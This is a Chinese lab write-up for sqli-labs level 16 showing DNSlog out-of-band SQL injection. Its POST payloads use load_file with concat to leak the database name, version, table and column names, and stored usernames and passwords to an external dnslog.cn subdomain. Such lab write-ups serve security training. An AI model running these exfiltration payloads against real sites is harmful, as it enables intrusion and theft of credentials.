当前位置: 首页 > news >正文

sqli-labs less-16 post提交dnslog注入

post提交DNSlog注入

第十六关和和十五关大差不大,可以使用布尔注入,时间盲注等,只不过闭合方式不一样,但是用布尔和时间盲太过于消耗时间,本次测试我将使用dnslog注入。

使用在线平台http://www.dnslog.cn/

在这里插入图片描述

闭合方式,注入点,列数

在这里插入图片描述
通过尝试各种闭合方式确定闭合方式为"),具体方式可以参考我前面几篇文章。
列数通过union select 1,2一次递增后面的数字来尝试,得到有两列

进行注入

构造语句:

  • uname=zzz") union select 1,load_file(concat(“//”,(select database()),“.ixyswd.dnslog.cn/1.txt”)) # &passwd=xxx&Submit=Submit
    得到数据库名

在这里插入图片描述

版本
uname=zzz") union select 1,load_file(concat(“//”,(select version()),“.ixyswd.dnslog.cn/1.txt”)) # &passwd=xxx&Submit=Submit

爆出所有数据

uname=zzz") union select 1,load_file(concat(“//”,(select schema_name from information_schema.schemata limit 0,1),“.ixyswd.dnslog.cn/1.txt”)) # &passwd=xxx&Submit=Submit
可以修改limit函数的值来得到所有的数据库名,
在这里插入图片描述

表名

  • uname=zzz") union select 1,load_file(concat(“//”,(select table_name from information_schema.tables where table_schema=database() limit 0,1),“.ixyswd.dnslog.cn/1.txt”)) # &passwd=xxx&Submit=Submit
    得到所有表名方法如上

列名

  • uname=zzz") union select 1,load_file(concat(“//”,(select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 0,1),“.ixyswd.dnslog.cn/1.txt”)) # &passwd=xxx&Submit=Submit
    其他数据修改limit函数参数

数据

  • uname=zzz") union select 1,load_file(concat(“//”,(select concat(username,‘.’,password) from security.users limit 0,1 ),“.8orsud.dnslog.cn/1.txt”)) # &passwd=xxx&Submit=Submit
    修改limit值可以得到所有数据
    在这里插入图片描述
    完成!!!!!
http://www.lryc.cn/news/455479.html

相关文章:

  • nginx报错|xquic|xqc_engine_create: fail|
  • Java虚拟机(JVM)
  • MQ 架构设计原理与消息中间件详解(三)
  • 大数据新视界 --大数据大厂之 Alluxio 数据缓存系统在大数据中的应用与配置
  • PHP基本语法总结
  • 尚硅谷rabbitmq 2024第30-33节 死信队列 答疑
  • 解锁空间距离计算的多种方式-含前端、空间数据库、后端
  • Windows 开发工具使用技巧 QT使用安装和使用技巧 QT快捷键
  • 【实战教程】SpringBoot全面指南:快速上手到项目实战(SpringBoot)
  • LeetCode讲解篇之1043. 分隔数组以得到最大和
  • Python知识点:结合Python工具,如何使用TfidfVectorizer进行文本特征提取
  • Diffusion models(扩散模型) 是怎么工作的
  • 查找回收站里隐藏的文件
  • [运维]2.elasticsearch-svc连接问题
  • Ajax面试题:(第一天)
  • 数据仓库拉链表
  • 【JVM】实战篇
  • 2024年9月30日--10月6日(ue5肉鸽结束)
  • 【Python游戏开发】贪吃蛇游戏demo
  • pytorch张量基础
  • 深入解析LlamaIndex Workflows【下篇】:实现ReAct模式AI智能体的新方法
  • 要在 Git Bash 中使用 `tree` 命令,下载并手动安装 `tree`。
  • Linux的基本指令(1)
  • JavaEE之多线程进阶-面试问题
  • 费曼学习法没有输出对象怎么办?
  • Hive优化操作(二)
  • 销冠的至高艺术:让自己不像销售
  • Hive数仓操作(十一)
  • C语言初步介绍(初学者,大学生)【上】
  • 陈文自媒体:现在的房价,已经跌到7年前!